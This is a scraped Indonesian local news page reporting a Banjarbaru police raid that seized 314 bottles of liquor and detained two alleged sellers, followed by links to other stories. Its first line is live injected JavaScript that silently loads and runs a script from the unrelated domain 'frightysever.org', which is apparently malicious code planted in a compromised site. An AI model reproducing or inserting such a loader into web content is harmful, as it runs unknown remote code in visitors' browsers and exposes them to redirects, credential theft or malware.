(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Patroli Polsek Banjarbaru Barat menyasar kawasan eks lokalisasi Pembatuan jalan Kenanga, Kecamatan Landasan Ulin, Kota Banjarbaru, berhasil mengamankan ratusan botol miras berbagai merk, Rabu (25/3/2020) kemarin.
Kapolsek Banjarbaru Barat AKP Andri Hutagalung mengatalan total barang bukti yang diamankan mencapai 314 botol miras. Dijelaskan Kapolsek, ratusan botol miras ini didapati dari sebuah warung di eks lokaliasai Pembatuan.
“Miras ini disimpan pemiliknya di belakang warung,†terang AKP Andri Hutagalung, Kamis (26/3/2020) pagi.
Selain mengamankan barang bukti miras, kata AKP Andri, pihaknya mengamankan dua laki-laki, yang diduga sebagai penjual miras. Kedua pria ini ialah AW (40) warga Kediri dan S warga Kabupaten Malang, Jawa Timur.
Razia Polsek Banjarbaru Barat di eks lokalisasi Pembatuan. foto: polsek banjarbaru barat
“Seluruh barang bukti dan pemilik dibawa ke Polsek Banjarbaru Barat, untuk di data dan dilakukan proses hukum lebih lanjut,†tegasnya.
Para pelaku penjual miras dijerat dengan pasal yang dikenakan tindak pidana pelaku usaha yang memperdagangkan minuman beralkohol tanpa memiliki surat ijin usaha perdagangan minuman beralkohol (SIUP-MB).
Pada Pasal 106 junto pasal 24 ayat (1) UU RI NO 7 Th 2014 tentang perdagangan, junto Pasal 49 Ayat (1) Permendag Nomor : 20 / M-DAG/PER/4/2014 tentang Pengendalian dan pengawasan terhadap pengadaan,peredaran dan penjualan minuman Beralkohol. Dengan ancaman hukuman, maksimal 15 tahun penjara. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.